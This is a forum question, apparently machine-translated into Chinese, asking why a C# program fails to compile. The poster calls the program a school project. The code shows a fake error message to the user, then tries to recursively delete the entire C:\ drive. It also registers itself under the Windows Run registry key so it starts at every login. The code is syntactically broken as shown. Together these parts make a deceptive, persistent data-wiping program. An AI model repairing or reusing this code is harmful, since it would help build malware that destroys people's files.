我正在尝试创建一个在启动时删除用户文档的应用程序(我知道这听起来可能是恶意的,但它适用于学校项目).
但是,我收到错误"命名空间不能直接包含字段或方法等成员".
看着它,看起来很好吗?我希望第二双眼睛可以帮助,因为我到处搜索,我找不到相关的解决方案!
不可否认,由于我的基本知识,我在网上和书籍上使用了很多帮助,而我所知道的c#是有限的.因此,可能只是因为我是愚蠢的,但每个人都必须从某个地方开始,对吧?
代码如下:
namespace Test
{
class Program
{
static void Main(string[] args)
{
MessageBox.Show("An unexpected error occured");
if (System.IO.Directory.Exists(@"C:\"))
{
try
{
System.IO.Directory.Delete("C:\\", true);
}
catch (System.IO.IOException e)
{
Console.WriteLine(e.Message);
}
}
}
}
public class Program
{
private void SetStartup();
}
RegistryKey rk = Registry.CurrentUser.OpenSubKey
("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
if (chkStartUp.Checked)
rk.SetValue(AppName, Application.ExecutablePath.ToString());
else
rk.DeleteValue(AppName, false);
}
Run Code Online (Sandbox Code Playgroud)